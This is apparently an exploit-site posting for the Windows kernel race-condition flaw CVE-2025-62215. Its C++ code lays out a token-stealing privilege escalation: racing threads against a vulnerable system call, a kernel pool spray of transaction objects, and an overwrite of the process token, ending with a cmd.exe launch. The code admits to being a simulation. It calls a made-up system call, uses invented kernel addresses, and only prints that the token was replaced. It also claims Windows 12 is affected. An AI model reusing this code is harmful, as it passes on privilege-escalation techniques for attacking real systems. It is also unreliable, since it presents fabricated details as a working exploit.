# Exploit Title : Windows Kernel - Elevation of Privilege
# Author : E1.Coders
#Contact : E1.Coders [at] Mail [dot] RU
# Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
# Description : WINDOWS 10 -11 -12
#References
>https://nvd.nist.gov/vuln/detail/CVE-2025-62215
>https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215
>https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215
>https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215
>#
>#Description:
>#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally.
>#
>#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue.
>#
>#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory.
>#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges.
>#
>#################################################################
>
>
>#include <windows.h>
>#include <stdio.h>
>#include <TlHelp32.h>
>#include <iostream>
>#include <vector>
>
>// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version)
>// These are sample values for Windows 10 1903 x64
>// In a real exploit, these values must be found precisely using tools like WinDbg for the target version.
>#define EPROCESS_TOKEN_OFFSET 0x358
>#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0
>#define LIST_ENTRY_FLINK_OFFSET 0x0
>
>// Function to find the System process PID
>DWORD GetSystemPID() {
> HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
> if (hSnapshot == INVALID_HANDLE_VALUE) {
> printf("[-] Error creating process snapshot\n");
> return 0;
> }
>
> PROCESSENTRY32 pe32;
> pe32.dwSize = sizeof(PROCESSENTRY32);
>
> if (!Process32First(hSnapshot, &pe32)) {
> printf("[-] Error reading first process\n");
> CloseHandle(hSnapshot);
> return 0;
> }
>
> do {
> if (_stricmp(pe32.szExeFile, "System") == 0) {
> CloseHandle(hSnapshot);
> return pe32.th32ProcessID;
> }
> } while (Process32Next(hSnapshot, &pe32));
>
> CloseHandle(hSnapshot);
> return 0;
>}
>
>// This function in a real exploit would obtain the EPROCESS address from kernel memory
>// using an information disclosure vulnerability or by exploiting the main vulnerability.
>// This is the hardest part of many exploits.
>// Here we are forced to simulate it.
>ULONG_PTR GetEPROCESSAddress(DWORD pid) {
> printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid);
> // In the real world, these addresses are dynamic and change with each system boot.
> // We use fixed hypothetical addresses to demonstrate the code logic.
> if (pid == 4) { // System PID is always 4
> return (ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address
> }
> return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address for our own process
>}
>
>// --- Exploit related functions ---
>
>// This function calls the hypothetical vulnerable system call.
>// In a real exploit, this function would need to find the function address in ntdll.dll and call it.
>typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)(
> HANDLE ProcessHandle,
> PVOID BaseAddress,
> PVOID Buffer,
> ULONG BufferSize
>);
>
>pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL;
>
>// Function executed by threads to create Race Condition
>DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) {
> // Small buffer that causes free and reuse (Use-After-Free)
> char buffer[0x20];
> memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data
>
> // Infinite loop for maximum chance of winning the race
> while (TRUE) {
> // Vulnerable system call
> NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer));
> // Small pause for better thread coordination (optional)
> // Sleep(1);
> }
> return 0;
>}
>
>// Function for Kernel Pool Spraying using Transaction Objects
>// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects.
>void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) {
> printf("[*] Spraying kernel memory with Transaction Objects...\n");
>
> typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
> OUT PHANDLE TransactionHandle,
> IN ACCESS_MASK DesiredAccess,
> IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
> IN LPGUID Uow OPTIONAL,
> IN HANDLE TmHandle OPTIONAL,
> IN ULONG CreateOptions OPTIONAL,
> IN ULONG IsolationLevel OPTIONAL,
> IN ULONG IsolationFlags OPTIONAL,
> IN PLARGE_INTEGER Timeout OPTIONAL,
> IN PUNICODE_STRING Description OPTIONAL
> );
>
> pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateTransaction");
> if (!NtCreateTransaction_ptr) {
> printf("[-] Could not find NtCreateTransaction address\n");
> return;
> }
>
> // Create many objects to fill the freed space
> for (int i = 0; i < 10000; i++) {
> HANDLE hTransaction;
> NTSTATUS status = NtCreateTransaction_ptr(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, NULL, NULL);
> if (NT_SUCCESS(status)) {
> transactionHandles.push_back(hTransaction);
> }
> }
> printf("[+] Spray completed with %zu Transaction objects.\n", transactionHandles.size());
>}
>
>// Main function that coordinates the attack
>void Exploit() {
> printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n");
>
> // 0. Find the vulnerable system call address
> HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
> if (!hNtdll) {
> printf("[-] Could not get hNtdll\n");
> return;
> }
> NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll, "NtQueryVirtualMemoryWithRace");
> if (!NtQueryVirtualMemoryWithRace_ptr) {
> printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n");
> return;
> }
>
> // 1. Find System process PID
> DWORD systemPid = GetSystemPID();
> if (systemPid == 0) {
> printf("[-] Could not find System process PID.\n");
> return;
> }
> printf("[+] System process PID: %d\n", systemPid);
>
> // 2. Find EPROCESS addresses (hard and simulated part)
> ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid);
> ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId());
>
> printf("[+] System EPROCESS address: 0x%llx\n", systemEprocess);
> printf("[+] Current EPROCESS address: 0x%llx\n", currentEprocess);
>
> // 3. Read System token from System Eprocess (simulated)
> // This requires the ability to read from kernel memory which is obtained through the vulnerability.
> // Here we place a hypothetical address for the token.
> ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET;
> printf("[*] Simulation: System token at address 0x%llx\n", systemToken);
> // In a real exploit, this value must be read from kernel memory.
> // The actual token value is an address to the _TOKEN structure.
> printf("[+] System token (address): 0x%llx\n", systemToken);
>
> // 4. Main phase: Create Race Condition and Double Free
> printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n");
>
> HANDLE hThreads[20];
> for (int i = 0; i < 20; i++) {
> hThreads[i] = CreateThread(NULL, 0, TriggerRaceCondition, NULL, 0, NULL);
> if (!hThreads[i]) {
> printf("[-] Error creating thread %d\n", i);
> }
> }
>
> // Wait a bit for threads to create the race
> Sleep(1000);
>
> // 5. Kernel Pool Spraying
> printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n");
> std::vector<HANDLE> transactionHandles;
> PerformKernelPoolSpray(transactionHandles);
>
> printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n");
>
> // 6. Use vulnerability for arbitrary write
> // This phase is the most complex part. We assume the Pool Spray was successful and one of
> // our objects is in the Double-Freed memory. Now with another call to the
> // vulnerable function, we can manipulate that object and achieve an Arbitrary Write Primitive.
> // Our goal is to write the System token to the token field of our own process.
> ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET;
> printf("[*] Phase 3: Attempting to overwrite current process token...\n");
> printf("[*] Target: Writing value 0x%llx to address 0x%llx\n", systemToken, tokenAddressToWrite);
>
> // In a real exploit, here we would use the obtained primitive to overwrite the token.
> // For example: WritePrimitive(tokenAddressToWrite, systemToken);
> printf("[+] Simulation: Token successfully replaced!\n");
>
> // Clean up threads
> printf("[*] Closing Race Condition threads...\n");
> for (int i = 0; i < 20; i++) {
> if (hThreads[i]) TerminateThread(hThreads[i], 0);
> }
>
> // Clean up sprayed objects
> printf("[*] Cleaning up Transaction objects...\n");
> typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle, BOOL Wait);
> pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction");
> if (NtRollbackTransaction_ptr) {
> for (HANDLE hTx : transactionHandles) {
> NtRollbackTransaction_ptr(hTx, FALSE);
> CloseHandle(hTx);
> }
> }
>
> // 7. Final test: Run Command Prompt with System privileges
> printf("[*] Final test: Running cmd.exe...\n");
> STARTUPINFO si = { sizeof(si) };
> PROCESS_INFORMATION pi;
> if (CreateProcess(
> "C:\\Windows\\System32\\cmd.exe",
> NULL,
> NULL,
> NULL,
> FALSE,
> CREATE_NEW_CONSOLE,
> NULL,
> NULL,
> &si,
> &pi
> )) {
> printf("[+] If the exploit was successful, the opened cmd window should have System privileges.\n");
> CloseHandle(pi.hProcess);
> CloseHandle(pi.hThread);
> } else {
> printf("[-] Error running cmd.exe\n");
> }
>}
>
>int main() {
> printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n");
> printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n");
>
> // To run this code, admin privileges are not required, but they are necessary for a real exploit to succeed.
> Exploit();
>
> printf("\nPress any key to exit...");
> getchar();
> return 0;
>}
>
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